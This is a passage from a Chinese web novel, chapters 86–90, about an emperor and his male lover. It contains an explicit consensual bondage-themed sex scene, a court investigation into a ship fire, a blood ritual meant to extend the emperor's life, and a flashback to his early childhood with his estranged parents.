偏偏与裴郁璟搭配的很,支着一条腿大马金刀的依靠在床帐中,如鹰隼般的眼神扫来,自带勾人的野性,毛茸茸的太阳花耳铛吊下来,胸肌的红点……像极了成精的野狼。 师离忱忽然笑了。 他走过去,顺着腹沟空隙,勾住了那条金色腰链,往上提了提,瞬间绷紧了劲实有力的皮肉。 他居高临下地睨着裴郁璟,欣赏他的这幅姿态,意味深长地“啧”了一声,开口声音低哑:“……哪儿学的?” 第86章 金色腰链反着光,即使沾了体温还有一丝微凉。 裴郁璟昂起下巴,脸不红心不跳道:“瞧你盯着鼓上舞一直瞧,我便找了几根链子过来……” 他阴鸷的目光牢牢看着师离忱,把剩余垂下的金链交到了师离忱手心,轻轻打转,嗓音带着一丝低渴,“他们有什么好瞧的,不如拴着我……” 说到后头,他呼吸陡然一沉,神色忽地隐忍。 原是师离忱嘴角溢笑,突然下滑捏住了他挺拔的命脉,不知何时起来的,格外精神抖擞。 师离忱低低一笑,垂首去抚他的脸侧,呢喃道:“既然九苍蓄谋已久……朕又岂能扫兴?” 细细琐碎的金链被叮铃一扯断开,专而一圈圈捆在了裴郁璟双腕之上。 师离忱今儿打定主意要作弄他,自然不会让他胡乱动手。 这双手的威力他尝过,掌心的茧子像带电似的,粗粝得磨人。 一边把裴郁璟双腕并着捆在腹前,一边就地取材,扯了一根床帐带子,蒙住了裴郁璟双眼。 玄色的床帐带子厚实,两三寸款,带着丝丝香气蒙上来,刹那间视野陷入黑暗。 裴郁璟喉结滚了滚,露出一个邪气森森地笑,难耐地舔了舔牙尖,有些期待接下来。 师离忱精心挑选。 掠过了马鞭,绳索,挑起了一双冰冷的鹿皮手套,慢条斯理地戴起来。 “不听话的尾巴。”黑暗中,裴郁璟听到圣上哼笑了一声。 下一瞬,他眉头轻拧,克制不住倒吸一气。 冰冷的鹿皮手套,贴着炙热的尾巴,有一搭没一搭的玩弄,像是逗该死的狗尾巴草,把玩一个无足轻重的摆件。 堪称冰火两重天。 师离忱低眼,静静赏味裴郁璟的失控,“这就耐不住了?朕还没开始呢。” 裴郁璟胸腔起伏,极力抑制着加重的呼吸,低喃呼唤:“山君……!” 同时狗尾巴胀得可怖,润光被纱掩。 他的行为,极大取悦了师离忱。 就这么玩了会儿,眼睁睁看着裴郁璟咬紧牙关,绷紧下颌,浑身肌肉紧着爽利到轻颤,却又不敢挣脱……师离忱总算大发慈悲的,摒弃了鹿皮手套。 黑暗中,感官被无限放大。 金链被扯断了几节,胸腔脖子前还拴着一截。 裴郁璟能感觉到链子被抓住拉紧,牵扯着他后颈提起的感觉。 就好像主人彻底将他栓在了手心,他听到师离忱解开扣带,衣料摩挲垂落的声音,接着就是呼吸缠绕而来。 他能感觉到脸庞被一双柔嫩洗白的双手捧起,鼻尖相贴,亲昵到极点,也让裴郁璟兴奋到了极点,恨不得就此亲上去。 然而。 被一只手按住额头,制止了。 师离忱语气轻慢,孤傲地警告道:“狗崽子!不许动!” 裴郁璟当即止住了冲动,重重吐出一声隐忍的气息。 师离忱并不擅长此道。 一向都是裴郁璟尽心尽力的伺候,哪里轮得到他自己动手。 如今真上了场,反倒有点束手束脚。 好在圣上的学习能力还是很不错的。 他拉着裴郁璟束缚了双腕的金链,宛如牵着野马的缰绳,跨了上去。 他身上渐渐浮上一层薄汗,额角的发被打湿,可惜裴郁璟被蒙着眼,瞧不见这幅昏暗灯光之下费劲开道的圣上。 河渠哪怕凿开过几次,还是吃得很费力。 狗尾巴很不安分,不听师离忱使唤,几过家门而不入。 气得师离忱低头,喘着大气,一巴掌扇了上去,咬着牙忍耐骂道:“吃什么长的!” 裴郁璟面色涨红,疼痛与痛快齐驱,反倒骂得它又病态地膨胀了一圈。 身上的金色细链叮铃作响,他也不敢挣脱,只不上不下地卡着,沙哑的嗓子透着异样压抑的疯狂,引导着,“别急……慢慢的。” 说这话时,他脸上没多少触动,可臂膀隐隐鼓动的肌肉却不是这么说的,以及变得的唇色。 “就该给你削一截。” 师离忱在裴郁璟下唇咬了一口,恶狠狠地放话,调转了个姿势,背对着裴郁璟就坐。 可仍旧不得要领。 最后确是裴郁璟忍无可忍,感知到一丝暖意后,好不犹豫用力往上一送。 殿中响起二人齐声谓叹。 裴郁璟分不清到底是惩罚,还是奖赏。 被折磨了这么半晌,总算开凿出了河道,他只知道毫不客气的享用鲜活。 也顾不得到底是不是被允许,又或者山君还没开始,他只知道自己整个人都要胀疯了。 高挺的鼻梁抵着师离忱肩头轻轻啃咬,呼吸拍在后颈,撒出一片战栗。 师离忱地抓住软衾,哆哆嗦嗦地骂了两句:“混账东西……谁准你……” 声音却骤然停下。 只听金链崩断之声,背部贴来一具炙热躯体,牢牢禁锢。 裴郁璟拿下了蒙眼的玄带,贪婪地凝视怀里的宝藏。 他没猜错。 此刻的山君就是美极了,像是散发光芒的矜贵珍珠,宛若夺目的妖孽。 卷曲的长发,从背后看完全包裹了身躯,线条纤细,腰肢塌陷,弧度惊心动魄的美。 裴郁璟陡然发狠,狰狞的,磅礴的狗尾巴猛然间撞击上去,手绕去前方摸住师离忱昂起的喉颈,迫使师离忱倒在他肩头,被他堵住骂不出话的唇。 抵死也不过如此,他不断轻喃着哄,“山君……山君……张嘴……” 趁着愣神之际。 挂着两个精致金铃的脚环,戴在了圣上脚踝上,也不知是什么时候藏的,发出清脆碰动。 在殿中或是发狠,或者猛烈作响。 师离忱则使劲揪住了他的头发,咬着这不听使唤的臭狗。 …… 一翻热烈之后,臭狗尚未回归平寂。 师离忱却是觉得够够了,眼角泪都没擦干,就想踹狗。 然后被捞住了腰心,翻了个面,重新抽水开渠。 铃儿与金链哗啦啦呼应,他朦胧着眼,看到裴郁璟悬挂在腹沟晃动的金链,情不自禁伸手去够。 怎么抓都抓不住,被他自己先前扯断了。 师离忱恼怒,气又撒在裴郁璟身上,哑着嗓子道:“滚……收一收你的力气!” 裴郁璟供在师离忱怀里,一边扣住他的十指,牢牢钉住,红着眼睛蓄泪,明明占尽所有,却摆得一副委屈,“最后一回,真的最后一回。” 师离忱轻拧眉心,饶在抽喘着气。 感觉到耳畔被吻了吻,裴郁璟道:“你今日生辰,别想那些不开心的,该多看看我。” 听得师离忱想狠踹他几脚,却只能颤栗着,发出难耐地闷哼。 该死的! 到底是谁在折磨谁?! 第87章 嘶哑低磁地声音刮动耳膜,好不容易结束那会儿,师离忱连手都抬不起来。 用牙狠狠在裴郁璟喉结上咬了以后泄愤,烙下一个刻骨的牙印。 引得裴郁璟低笑两声,把人捞起来,去热池里仔细清理干净,又喂了几口长寿面。 师离忱随意吃了两口,算是恢复了些力气。 只是吃面也不安分,被裴郁璟捉着手,细细吻过粉嫩的骨节处。 裴郁璟简直上瘾,吻完骨节又去拱肩窝,一刻也不想松开,师离忱懒得动,闭着眼睛随他去了。 好在裴郁璟有些分寸,没继续胡闹,收拾好了就将人抱回榻上歇息。 到这会儿。 师离忱已经迷迷糊糊,连哼都懒得哼一声,可等了会儿,他又睁开了眼睛,月华从窗棂撒来,看似冷了空气,却也好像热了氛围。 师离忱缓了会儿,眉眼间饶有倦怠之色,忽然转头看了看身侧把他搂得严严实实的火热身躯,抬手摸了摸他的后脑。 说:“……朕很喜欢这个生辰礼,只是面不太好吃,都坨了。” 裴郁璟低声道:“我煮的……原想着你回来方便果腹,谁知先被吃的是我。” “啪!” 此言一出,师离忱气乐了。 一巴掌拍在他后脑,扇得裴郁璟往前拱了拱,人高马大地却用鼻梁抵着师离忱喉骨处轻啃。 “我知错了……”好在他及时认错,低声道:“下次你说停,我就停。” 颈项毛茸茸的发痒,师离忱闭上眼,模模糊糊地哼了一声,踹了踹裴郁璟警告:“睡觉。” 裴郁璟意犹未尽地收嘴,借着月光,又吻了吻圣上欢。愉过后未曾褪色肩窝的肤上红…… 圣上皮薄,红云一时散不去,冷白的骨节上透出的色泽能留许久。 脚踝或者指骨,膝窝或者耳后透着淡淡粉意,像是冰雪里练出的美玉。 叫裴郁璟每每一瞧都情难自持。 要亲够了,才会心满意足地消停下来。 * 归功于乐福安的打点,清晨并无人打搅。 臭狗静悄悄。 必定在作妖。 师离忱一大早就感觉心口埋了个毛茸茸的脑袋,他动了动疲惫不堪的手指,却听到一阵金玲晃,瞬间让他昨夜的记忆回笼。 本来对于脚踝上多一个金环便很不满意,又多了俩,师离忱深感被冒犯了。 昨晚没来得及发的火,早上一睁眼就踹在了裴郁璟腹上,将人蹬开,声音还带着晨起的沙哑慵懒,“滚!大清早的狗崽子找奶喝呢?” 裴郁璟干脆捞着圣上的玉足用腹沟暖和着。 小皇帝身子凉,哪怕是刚从被窝里醒来,足底都带着一点凉气。 他可舍不得金尊玉贵的陛下受冻,腆着脸道:“我给你暖暖,别生气。” 师离忱耷拉着眼皮,倦色未散,还困着呢,懒洋洋打着哈欠问:“昨日那火烧的那般大,有人来过了吗?” “福公公来过一会儿,见你还歇着,就将请折入宫的官员都挡回去了。”裴郁璟又一搭没一搭地给师离忱揉着腿肚,低声道:“福安说,让你多歇歇,真相刚查了个苗头还没扯出大鱼,晌午再去也不迟。” 乐福安也没坏心思。他一把年纪了,想不通圣上怎么瞧上这个混账东西,但既然喜欢,多玩乐一番也是情。调,哪能想到狼崽子反客为主了。 反是让裴郁璟心花怒放,咬住了桃尖狠狠一碾。 “啪!” 一个巴掌。 “咚!” 这回是真踹下榻了。 榻上的圣上翻了个身,扶着酸软厉害的腰心,冷笑一声道:“跪好,敢乱来,明天去和小汤圆睡。” 嚯。 玩脱了。 裴郁璟自知惹过火了,低头看了看一大清早就精神抖擞地好兄弟,裹了件衣裳,结实跪着。 只是贼心不死,让内力烘暖了掌心,替师离忱轻轻揉腰。 好在没被拒绝。 折腾一番,师离忱总算能好好补个觉了。 直到晌午才慢悠悠起身。 第88章 虽说月祭夜,中秋前后四五日暂不上朝会,但昨日猛火油暗度陈仓,烧船伤命官一事非同小可。 整个京都城都笼罩在阴霾的氛围中,势必要查出线索,一来二去进展迅速。 以大理寺为主,各处调动盘查。 这类东西要进京都无非也就那一两个渠道,或是走官,或是有京都有人遮掩。 一来二去查到了小郡王头上。 小郡王气疯了,头发被烧了大把不说,也是这此事情最大的受害者,怎么他反倒有罪了? 整个府都被金吾卫带队围了个水泄不通。 偏他没地方讲理,这事是大理寺与监察司联手查案,谁也越不过皇权威势。 封锁的够快,查得够细,最后查到了小郡王府中的一名门生手下。 朗义禀道:“此人乃科举二榜进士,被友人举荐,小郡王念其才华斐然,便一直养着。” 世家或者宗室养些门客幕僚是正常现象,毕竟哪个达官贵人身边没几个智囊。 馊主意的另算。 朗义继续道:“此人虽有满腹诗文,却未有正心,见迟迟在小郡王面前出不了头,起了歪心思。原是要自导自演,趁着月祭夜人多,来一出救贵人的戏份……” 话到此处,他皱起眉头,神色一言难尽,大概是没料到天子皇城中能出这等胆大包天的蠢材。 一旁,夏时重补道,“那门生,本想买引火线,导到船舱,从底下烧起。谁料想误打误撞和南晋新来的探子撞上了。” 师离忱指腹在案前轻敲,眼皮都没抬一下,意味不明地冷哼了一声,“南晋帝糊涂了?” 这节骨眼,被断了麦粮,不想办法救一救,还派人来闹事? “回圣上,是两波人。”夏时重拿出调查案本,一丝不苟道,“门生做事不够周密,但有暗探遮掩,本也没什么不会露馅。可坏就坏在,京郊还有一支疑似鞑靼埋伏多年的义庄。” 一个门生想着立功,一帮新来的南晋暗探想着做件大事。 然后被鞑靼人发现了,鞑靼一拍脑袋,要顺水推舟,加速恶化两国关系。 于是两波人就在船上遇见了。 门生借了小郡王的手笔威势,让南晋把猛火油送进来,一把火烧了个底朝天。 一场闹剧罢了。 师离忱兴未阑珊,不过南晋这招真是叫人始料未及,他道:“南晋帝约莫是想不出这种昏招,不是他家老二就是老四。” 老二的可能性大一些。 一个刚在月商犯错又被当成弃子的皇子,急于求成,乱中求生也是可能。 真让这波探子烧成功了,且不说船上官员受伤会引起动乱,就连月祭夜也会被打上不详的色彩。 师离忱冷笑道:“鞑靼也是自大,朕不去处置他们,倒是轮到他们来作乱了。” 义庄那几个,一直都在眼皮底下放着,总比换一波人来重新盯来得方便。 也亏没酿出大事。 轻烟袅袅。 御前沉寂片刻,朗义与夏时重不约而同底下了头,静候吩咐。 师离忱沉吟片刻,道:“小郡王治下不严,罚他十板子长长记性,省得一天到晚给朕惹麻烦。” “生乱者,其行可诛……赐自尽。” 一句话盖棺定论。 二人俯首道:“臣等遵旨。” 顿了顿。 师离忱问起,“卫爱卿昨日受惊了,如今可有大碍?” “卫大人今早还与臣一同奔波,或许是受了凉风,刚查出真相便发热被抬回去休息了。”夏时重道。 闻言,师离忱稍稍放心,又转而笑道:“朕还怕昨日那火,把朕的探花郎烧成叫花鸡,还好只是惊着了,多看顾着些吧。” 毕竟昨日卫珩一从船上救下来时,是一身的黑手黑脚灰头土脸,算不得好看,与平日的纤尘不染简直是大相径庭。 夏时重也想到这点,笑了笑道:“微臣明白。” 御书房人散去。 乐福安看了会儿天色不早,进殿中奉茶,师离忱诛笔批到一半,瞧他心神不宁,便问了,“怎么了福安,愁眉苦脸的。” “老奴……”乐福安迟疑,眉心折痕难化,叹道:“老奴只是在想,那大巫何时出现,圣上脸色看起来憔悴了许多。” “……” 这个憔悴,未必是大巫折腾出来的。师离忱有些心虚地低咳一声,“九苍还没回来?” 乐福安罕见没读懂圣上岔开话题的心思,嘀咕道:“圣上,都什么时候了还惦记那小子。” 师离忱笑咪咪道:“九苍其实很好。” “那就是头狼。”乐福安不赞同,臭着脸道,“要不是圣上喜欢,老奴才不帮着他哄圣上出宫……” 话到一半,他侧目看向殿外,顶着细细烟雨,高挑地身姿悄然跃现,在门外拍打了一身水气,方才入殿。 他定定地看着师离忱,面色不似喜也不似悲,呆呆的,像是从虚无缥缈中抓住了一根稻草,硬扯出一个笑。 “……大巫找到了。” 第89章 紫宸殿外。 裴郁璟与乐福安都被赶了出来。裴郁璟抱臂靠在柱边,眉眼透着一股森然,气氛一时幽寂。 圣上和大巫在殿中谈话,不让他们二人听,急也急不来。乐福安甩了甩拂尘,面无表情道:“哪儿找到的?” 裴郁璟道:“花楼。”说着他嗤笑了声,语气发寒,“京都城明里暗里找他的人都翻了天,谁能想到他居然扮成了花娘。要不是他对圣上有用,早在抓到他的第一时间我就该剁了他两条腿。装神弄鬼!” 乐福安望天,叹道,“……谁能想到大巫居然这般年轻。” “……”裴郁璟默然。 * 殿内。 师离忱浅笑着,看着椅上坐着的清俊少年,一脸胭脂色。 是被抓到后匆忙换了件衣裳,脸上的妆容没来得及擦,打眼一瞧还以为是哪个女郎扮男装。 少年毫无慌张之色,囫囵喝了半盏茶,砸吧嘴道:“果然皇宫里的茶要比外头的好,连水都是胧烟枝上水,费功夫。” 师离忱神色温和,道:“早知你是大巫,当年就该把你捆回皇宫……左宿,耍朕好玩?” 似与故人叙旧的柔和腔调,却让左宿陡然正了神色,放下茶盏,“你看你,又急。” 他笑着说殿外的裴郁璟,“你看见外面那个疯子的眼神了?他恨不得活剥了我的皮,真怀疑他到底是帝星还是煞星。” 师离忱可不想和他讨论裴郁璟到底是凶是善,只帮着解释了句,“朕近一年来身子算不得好,经常犯疾一次比一次重,蛊还没解,可压制蛊虫的药丸吃完了,他也是关心则乱。” “两只续命蛊,两只都给你用了,是会有一些不好的作用。”左宿嘀咕了句,捻指掐算片刻,迟疑道:“……你回到此间世界后,应该是有些之前的记忆?” 闻言。 静默一瞬。 师离忱垂眼,长睫低敛,“有一些,很零碎的片段,会在梦魇时想起。但记得不全,像一块被打碎的镜子,只有几块残存的碎片。” 说着,他撩起眼皮,扫了眼左宿,“你既是大巫,想必能告诉朕,朕为什么能活三回,这一回你想做什么?” “……” 明人不说暗话。 左宿拧眉飞快掐算,沉着一口气道:“二十年前,我与天通,天与我说,帝星双现。一明一暗则天下合安,或,一死一伤续国运大统。” “我经演算,发觉走向是‘一死一伤’,选了良辰吉日,又摆阵向天道问了一回。” 他的声音不带情绪,在殿中缓缓响起,“天道授命我救将死的帝星,为了指引了两枚续命蛊的方向。续命蛊来之不易,我算了你们二人八字,推了前运,以为死星是替了七皇子命格,那朝不保夕的裴郁璟。就提前给了仇将军……” “我觉得我的推算不可能失手,我是这世间唯一的大巫,我活了这么多年,逆转乾坤之事不是没做过,我以为我不会有错。” 左宿低声道,“而且游历途中,又偶然和你遇见,你当时剿匪查税,一箭穿了山匪眼颅,可谓是意气风发,我便更想着死星不可能是你,我没给错人……但后来发现,还是错了。” 师离忱笑了笑,无所谓道:“朕死得不算惨,至少不是死在别人手里。” 左宿神情变了变,咬牙看向师离忱,“月商帝自焚观星台,很好听吗?!” “嗯……”师离忱沉吟,认真道:“不好听吗?总比城破了,被敌人枭首挂在城门上强一些。” “……” 左宿思考了一瞬,点头接受了这个说法,“那倒也是。”他平复了心情,道,“天道虽无形,可天道不满这个结局,从卦象,以及我沟通的结果来看,天道不想让任何一颗帝星熄灭。” 这倒是个稀奇的说法。师离忱感觉像是在听故事,托着下颌,慢悠悠道:“然后呢?” 左宿顿了顿,道:“天机不可泄,我不能告诉你到底是怎么回事,我唯一可以告诉你的是,这个蛊要化解,得门口那个肯帮忙……要付出一点代价。” 听起来不是好事。师离忱眉头微动,“什么代价?” 左宿道:“以他的心头血画阵,你们二人魂魄在同一个阵中,气运合一,血运加持,方能续命长生。否则中秋过后,你会死。” 默然片刻。 冰冷地玉戒在手中轻轻转动,师离忱慢条斯理道:“心头血画阵……一定要他的?朕的不行?” 左宿摇头,道:“他累积了一世帝王紫微星命格,虽无记忆,确有功德。你是死星,有些许记忆,却运不够,消耗不起,只能是他。” “……” 师离忱忽然想起一点,好奇地看着左宿,问道:“还记得之前你留了个道人给朕传话吗?” 左宿点头。 师离忱道:“如果朕这一世,和九苍的关系势同水火,结仇,你又会如何做?” “杀他。”左宿毫不犹豫,冷冰冰道,“他若与你有敌,必不会让道人进京,我会立刻找机会杀他。取心,取血,夺骨……同样让死星复活。” 真是叫人毛骨悚然的回答。师离忱道:“这也是天道的指引?” 左宿回答:“不是。”他道,“你死过一回了,该他死了。他做帝王那一世,我去见过他,他应过了,是自愿。” 真是荒诞。师离忱感到莫名,“……这也能应?他凭什么应?” 左宿也不清楚,坦诚道:“不知道。但他应了。” 师离忱停顿了须臾。 想了想。 倏然一笑。 “行吧。”师离忱起身,“今夜月圆,今夜开始?” 左宿掐算道:“月圆子时阴重,东西我都带来了,去观星台,血要一碗,子时前一个时辰给我。” 师离忱叹了一声,走到紧闭的窗棂前,曲指叩了叩,道:“别偷偷摸摸的,滚进来。” 窗下晃过去一个人影。 不稍片刻。 殿门被推开,裴郁璟踏进殿中,阴鸷地眼神简单扫过左宿,快速走到师离忱面前站定,一言不发地沉眼盯着看了会儿。 师离忱也不知他听到了多少内容,紫宸殿很大,他们谈话时又在殿中,隔音其实是不错的。 只是裴郁璟内功比较好,躲在窗棂底下,要认真偷听的话,其实是可以听到一些话。 裴郁璟也不说话,师离忱被他盯得发毛——该怎么形容这种眼神呢,好似平静的湖底在燃烧一汪疯狂烈火,随时都有可能变得沸腾。 忽然,手心里落了个冰冷的刀柄。 师离忱眼前一黑,陡然被搂紧了怀里,他能感觉到后背收紧的小臂,腰侧的手似乎也在微微颤抖。 裴郁璟俯首,埋在他耳边深深吸了一口气,什么也没问,哑声道:“血而已,取。” 腰间的手还在收紧,像是怕他就此消失一样,要将他刻入骨髓,几乎病态地把挺鼻埋在他的耳廓发间,洒来炙热的呼吸。 有那么一刹那。 师离忱感受到了裴郁璟心底的恐惧。 怕他消失的恐惧。 只不过有些尴尬地是……师离忱转眸,对上了一旁一脸细思无语的左宿,如果表情能看出人话,大概能从左宿的眼睛里品出‘原来是这种关系’的意思。 裴郁璟把左宿当空气,师离忱做不到,一边拍着裴郁璟后背,一边补了句,“……他平时不这样粘人。” 左宿:“我知道。” 想了想。 他嘀咕道:“……原来是这个意思。” * 心头血,取地地方凶险,稍有不慎就一命呜呼,师离忱召了太医令来确认了下刀位置。 确保取血之后敷上药粉,不会对其造成生命危险,毕竟后续还要在阵中待一段时间。 左宿则在观星台确认方位,把他带来京都的东西都送进宫后,全部带上了观星台摆放。 此事不宜宣扬,郞义也只知今夜宫中要加强守备,多调了两支金吾卫在宫中守岗巡视。 今年宫中不办中秋夜宴,也不必来问候圣上,师离忱对外只说要清净些赏月,将观星台周围清空。 当然中秋礼宫中都有规制安排给各位大臣们送去,也算图个彩头。顺带安一安月祭夜那把大火把朝中官员烧到愤怒的心,有些账等中秋过后再去算,懂事的官员读懂了圣上的心思,高高兴兴地把节过了。 或许是午后下过细雨的缘故,洗去了尘埃,散尽了雾霭,今夜高空万里,无云无雾。 圆月明空,银华满地。 金鼎在案上,鼎中点着一炷香,观星台的地板上,被左宿用笔沾着血混朱砂,在地上画出了复杂庞大的纹路。 用左宿的话来说,这个就是合星阵。 边上留了个可以入阵的小路,最中间用一个圈圈出了个空地,其余地方全都被画上痕迹,哪怕是柱子和栅栏也做了标记。 师离忱和裴郁璟就坐在旁边等,师离忱坐椅子上,裴郁璟便坐在他身前,靠着他的腿。 裴郁璟才取了血不久,唇色有些变淡了,师离忱上手搓了搓,没能搓出血色,指腹反被舔了一口。 “……” 师离忱低眼,指腹在他嘴角蹭了回去。裴郁璟微微眯眼,忽然昂首,眼神直勾勾地盯着师离忱的唇瓣,舔了舔唇。 目光对视。 师离忱挑眉,轻轻摇了摇头。 裴郁璟只好遗憾地把脸贴在师离忱的腿上,顺势蹭了蹭。 与二人旁若无人无声打眉眼官司不同的是,乐福安正疑惑又严肃地打量左宿,他已经打量了一整日了,他想起来了,这人他曾见过一面,怎么反倒比几年前还年轻了?这人怎么不老? 直到左宿落完最后一笔,金鼎的香也燃烬。 他隔空点了点阵中心的位置,“你抱着他进去,坐在那个圈里面。” 圈出来的空地并不大,容纳一个人多余,两个人拥挤,裴郁璟想了想,捞着师离忱腿弯抱起来,然后跃进圈内,盘腿坐下,调整了一下姿势:“……这样?” 师离忱安靠在裴郁璟怀中,后背靠着他的胸膛,修长的腿屈膝折叠起来,“空间为什么不留大一点。” 左宿道:“留大一点,他也得抱着你坐,不挨着怎么合气。把手扣起来,十指相扣,对,扣起来。” 他从空位走来,手里还拿着湿漉漉用朱砂和血染红的细绳,穿梭在二人相扣的十指和手腕,然后在他们二人面前摆上一个雪白的龟甲。 左宿神情严肃地对裴郁璟说:“子时马上要到了,启阵后,圣上会昏睡过去,你会感受到他的所有情绪,同知,同觉,不同忆,千万支撑住,龟甲先会变红,然后完全变黑,阵法才算成功结束。” 裴郁璟道:“好。” 左宿提前告知,“我给他放一点血,你别拦我。” 说着他朝乐福安要了一把匕首,在师离忱腕间轻轻一划,鲜血涌出,二人的手被红绳缠绕在一起,涌出的鲜血却诡异地汇聚在了红绳上,顺着末端,滴在了龟甲之中。 左宿快速退出阵中,面色肃冷地掐诀,又在金鼎中点燃了一支香,地面的阵法一点一点隐约开始散发出霜色辉光,字体好似活泛震动了起来,直到霜色渐渐被染成赤色阵法彻底被启动。 左宿抬头。 似乎看到银霜般的圆月前,笼罩一层血色阴影。 他回首看向已经双臂紧闭,在裴郁璟怀中昏睡过去的师离忱,低声轻念:“气运合一,续命长生……我非我,道杀道……一世死门一世生,一道还一道……” 一边念一边盘腿,左宿在阵前缓缓坐下。乐福安眼尖,似乎瞥见他发尾有一缕银色,明明白日还没有。 第90章 漆黑的空间。 小心地屏住呼吸,耳朵贴着木板,仔细聆听外面的兵荒马乱。宫人们到处翻找,流窜,呼喊,朝这边靠近。 “吱——” 柜门被陡然打开一条缝,一线光透了进来,面貌清秀的中年女官往柜子里看来,弯了眼梢,“呀,小山君躲在这儿呢!” 她对殿外喊道,“福安,我找到小殿下了!” 殿外的乐福安还在斥责宫人看顾殿下不利,听到呼喊赶紧扶正了帽子往殿内赶,一边赶一边还数落宫人,“咱家才走开一小会儿都能跟丢,真是一群废物东西,连小殿下都看不住,小殿下还不到三岁,身边离不了人,万一不小心在哪儿磕了碰了可怎么办……” 乐福安进殿来到空衣柜前,俯身笑眯眯道:“小殿下,来,老奴给您包了元宵,咱去尝尝?” “……” 看着乐福安笑出眼尾花的脸皮,师离忱鼓起脸,掉头朝女官伸手,“……芽姑,抱。” 芽姑也笑了,轻手轻脚地把师离忱从衣柜中抱出来,掂量了一下,“小殿下比之前重了些。” 师离忱搂住芽姑的脖子,下巴搭在她肩膀上,眼珠转向乐福安,“安安,元宵可以和母妃一起吃吗?” 闻言,乐福安笑意一顿。 他和芽姑互换了个眼神,很快藏去情绪,苦着脸道:“老奴该死,元宵包的不多怎么办?只一碗。” 却见师离忱水灵的黑眸弯起来,“没关系,我可以和母妃分着吃,我吃得少,我可以只吃一个。” 乐福安擦着汗,道:“小殿下,都入夜了,现在去恐怕会打搅娘娘,明日我们重新再做一碗好不好?” “可明日就不是十五了。”师离忱不高兴地皱眉,拍了拍芽姑的肩,“福安小气,芽姑带我去。” 芽姑并不想答应,今日十五,圣上本该在继后宫中,小殿下本可以和纯妃娘娘一起过元宵。 可圣上没去皇后宫中,来了千秋殿,这会儿在主殿和纯妃娘娘用膳,圣上和纯妃娘娘每回见面不是吵就是闹…… 芽姑眼中划过一道愁绪,还是应了,“是小殿下,奴带你过去。” …… 乐福安提灯在路上照明。 小殿下诞下后,并未被抱养给其他妃子,而是养在千秋殿。圣上知道纯妃娘娘不上心,指了宫人来照顾殿下,养在了千秋殿的偏殿。 千秋殿很大,偏殿和主殿隔了有一段距离,要走一段小路,绕过正院,才能到主殿。 正月的天气寒,芽姑舍不得让师离忱自己走,就托抱在怀里。 她出门前又给小殿下裹得严严实实,毛茸茸的护脖好似在脸蛋边上围了个圈,小殿下头发生得特殊,是卷曲的长发,素来被打理的很好扎成了髻,只是刚长出来几缕似绒毛般的胎发被风一吹就炸了。 “哎呀……”芽姑赶紧给他整理,念叨道:“该给殿下上些香膏的。”香膏抹在头发丝上融开,再乱的头发都能梳得板正。 师离忱皱着鼻子,“不要香膏。” 他不喜欢香膏的味道。 说话间,已经到了正殿,芽姑把师离忱放了下去,乐福安挎着食盒跟在身侧,殿前宫女福身道:“见过六殿下。” 芽姑解释道:“今日十五,小殿下想来和娘娘一起过。” 宫女神色为难,不知当不当说,话到嘴边,却听殿中碗碟噼里啪啦砸碎的声音,一道隐含愤怒的女声传来,“都说了我不吃,不吃!什么鱼,什么笋,我不知道!不清楚!我要回家!” “家?皇宫就是你家!”一个男声似乎克制着脾性,沉声道:“这么多年了,你竟还不死心,看来是朕待你太好了!” 急促的脚步声。高大的玄色身影走到门外,下令道:“纯妃以下犯上,禁足一月,一日三餐只许给她吃鱼吃笋,吃到她记起来为止!” 一个香炉擦着人影砸在了门框上,弹出来。 “哐当!” 滚掉在师离忱足尖前。 “师明渊!你有病!” 里头的纯妃破口大骂,门口的皇帝面色铁青。周围宫人噤若寒蝉,熟视无睹,埋首低眼降低存在感。 师离忱还没反应过来什么情况,呆呆地抬头看着面前的父皇,父皇脸上有两道血痕。 师明渊也看到了殿前的师离忱,面色缓和了些,声音里余怒未消却也放低了,“阿忱来看你母妃?” “有元宵。”师离忱道,“分母妃吃。” 眼下师明渊心情并不是很好,只不过他看到师离忱,打量了几眼又想起另一件事,当下做了决定:“你这个年纪,该去国子监启蒙了,朕明日安排伴读进宫。” 此话一出。 旁边乐福安神色变了变,俯首进言道:“圣上……小殿下还不满三岁,国子监又在宫外,按制皇子年满五岁才上国子监……” “朕的阿忱,和别人不一样。”师明渊俯身,屈尊降贵地在师离忱面前蹲下,平视着揉乱了师离忱的头发,语气辨不出喜怒,“是朕的孩子。” 然后,掐住了师离忱红扑扑的脸蛋,掐得师离忱眉头皱起来,“父皇,疼。” 师明渊冷哼一声,“娇气。”又压着眉眼盯着师离忱看了会儿,对上师离忱澄澈如黑曜石般的眼珠,又嗤了句,“天真。” 岂止要去国子监,还得练一练这身板,男儿岂能如此娇弱。 好在年纪尚小,还能改。 他罢手起身,拍了拍衣袖道:“去陪你母妃吧,她心情不好,但不会对你发脾气。” “……是。” 师离忱不大高兴地揉了揉脸,走进殿内。 * 宫人们正在收拾殿中残局,碗碟炉案该扫的扫了,该擦的擦了,重新恢复成整洁的模样。 纯妃眼睛还红着,揉着额角,侧目落到屏风后窜出来的师离忱身上,神色软和了些,温声道:“……怎么过来了?” “儿臣给母妃带元宵来了。”师离忱自顾自爬上了小榻,招手让乐福安把食盒里的元宵盛出来。 纯妃嘴角笑意僵了僵,淡去了些,道:“阿忱有心了。” 她看了看师离忱凌乱的头发,忍不住皱眉,把人抱了过来,拿来梳子重新给师离忱梳起了头发,“瞧你,弄得乱糟糟的。” 她似乎很擅长打理这种松散顺滑的卷曲长发,娴熟的分梳开结,又分出发髻绕起来。 芽姑瞧了一眼又一眼,欲言又止,只能假装看不见般低下了眼睛。乐福安看得眉心轻轻拧起来。 ……那不是小姑娘才会梳的双丫髻? 师离忱感觉到奇怪,但这是母妃头一回抱他,他便没动,静静等着母妃梳好头,拍拍他的肩。 “阿娘梳好了,小叶子去……” 纯妃话到一半,忽然看到身前孩子衣肩上所绣着的,代表皇家莽兽的纹样,陡然噤声。 一瞬间从过去,被拉回了现实。 师离忱昂起脸,疑惑道:“……母妃?” 纯妃再难扯出笑脸,不过她语气还是温温和和的,轻声道:“母妃叫错了,母妃累了,你先回去吧。” 师离忱有些失望,那碗元宵就摆在案几上,一动未动。他跳下小榻,拘礼道:“儿臣告退。” 便离开了主殿。 …… 芽姑和乐福安伺候着小殿下安寝。 熄了灯,芽姑轻轻拍着师离忱心口,哼着小调哄他入睡。 殿内倏地响起小殿下稚嫩地嗓音,“小叶子……是母妃以前的孩子吗?算是我的长姐?” 芽姑一顿,低声道:“殿下聪慧,殿下难过了吗?” “不难过。”师离忱语调没什么波澜,“该难过的是小叶子,母亲被别人抢走了。” 